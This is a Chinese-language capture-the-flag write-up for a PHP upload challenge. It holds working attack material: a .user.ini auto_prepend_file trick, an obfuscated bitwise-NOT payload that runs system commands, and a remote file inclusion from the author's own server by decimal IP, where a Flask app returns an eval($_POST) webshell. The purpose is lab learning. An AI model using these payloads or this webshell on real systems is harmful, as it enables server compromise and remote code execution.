目录
源码
思路
先上传.user.ini
上传成功
GIF89a
auto_prepend_file=png
然后上传png
GIF89a
<?=require~%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1?>
取反脚本
$a = "data://text/plain,<?php system('tac ../f*');?>";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
echo "%".bin2hex(~$a[$i]);
}
echo ")";
//%9b%9e%8b%9e%c5%d0%d0%8b%9a%87%8b%d0%8f%93%9e%96%91%d3%c3%c0%8f%97%8f%df%8c%86%8c%8b%9a%92%d7%d8%8b%9e%9c%df%d1%d1%d0%99%d5%d8%d6%c4%c0%c1
访问upload,提示没有找到文件
访问/upload/png,发现文件不存在,由于题库限制请求,也不能用条件竞争来解
参考了其他师傅的wp后,发现可以用远程文件包含来解这道题
vps ip转数字
user.ini
GIF89a
auto_prepend_file=http://2002459365 # 也可以直接用我的
但又发现直接包含php文件提示400
后面用了flask框架,return php代码就好了,在文件包含的时候,里面的php代码会被解析.
(记得一定一定在vps上打开allow_url_include=On
,忙乎了半天才发现是这个原因导致的)
代码如下
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route("/")
def run_cmd():
return "<h1>Hello World!</h1><?php echo 'kradress';eval($_POST['kradress']);?>"
if __name__ == "__main__":
app.run(host='0.0.0.0',port =80)
访问upload,直接RCE拿到flag
总结
过程很曲折,不过也学到了很多